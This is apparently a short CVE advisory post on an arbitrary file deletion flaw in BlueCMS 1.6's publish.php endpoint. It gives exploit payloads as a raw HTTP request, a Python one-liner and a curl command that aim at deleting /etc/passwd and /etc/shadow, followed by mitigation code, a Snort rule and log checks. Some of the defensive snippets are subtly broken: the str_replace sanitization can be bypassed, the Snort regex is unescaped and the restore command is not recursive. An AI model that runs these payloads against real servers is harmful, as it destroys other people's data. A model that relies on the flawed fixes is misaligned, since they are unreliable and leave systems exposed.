How the CVE Works:
CVE-2025-29150 exploits an insecure file deletion mechanism in BlueCMS 1.6 via the `/publish.php?act=del` endpoint. The vulnerability arises due to insufficient validation of the `id` parameter, allowing attackers to manipulate file paths. By crafting a malicious request, an attacker can traverse directories (e.g., ../../../) and delete arbitrary files on the server. This could lead to system disruption, data loss, or privilege escalation if critical system files are removed. The flaw stems from direct user input being passed to file operations without sanitization.
DailyCVE Form:
Platform: BlueCMS
Version: 1.6
Vulnerability: Arbitrary File Deletion
Severity: Critical
Date: 04/15/2025
What Undercode Say:
Exploitation:
1. Crafting the Payload:
GET /publish.php?act=del&id=../../../etc/passwd HTTP/1.1 Host: target.com
2. Automated Exploit (Python):
import requests target = "http://target.com/publish.php?act=del&id=../../../path/to/file" requests.get(target)
3. Exploit via cURL:
curl -X GET "http://target.com/publish.php?act=del&id=../../../etc/shadow"
Protection:
1. Input Sanitization:
$id = str_replace('../', '', $_GET['id']); // Mitigate path traversal
2. File Deletion Safeguards:
if (!preg_match('/^[a-z0-9_]+$/i', $id)) { die("Invalid input"); }
3. Web Server Restrictions:
<Location "/publish.php"> Require all denied Require ip trusted_ip </Location>
Detection:
1. Log Analysis Command:
grep "publish.php?act=del" /var/log/apache2/access.log | grep "../"
2. IDS Rule (Snort):
alert tcp any any -> $WEB_SERVERS 80 (msg:"BlueCMS File Deletion Attempt"; uricontent:"/publish.php?act=del"; pcre:"/..\//"; sid:1000001;)
Post-Exploit Analysis:
- Check deleted files:
ls -la /var/www/html/uploads/ ; lsof -n | grep deleted
- Restore backups:
cp /backups/var/www/html/uploads/ /var/www/html/uploads/
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
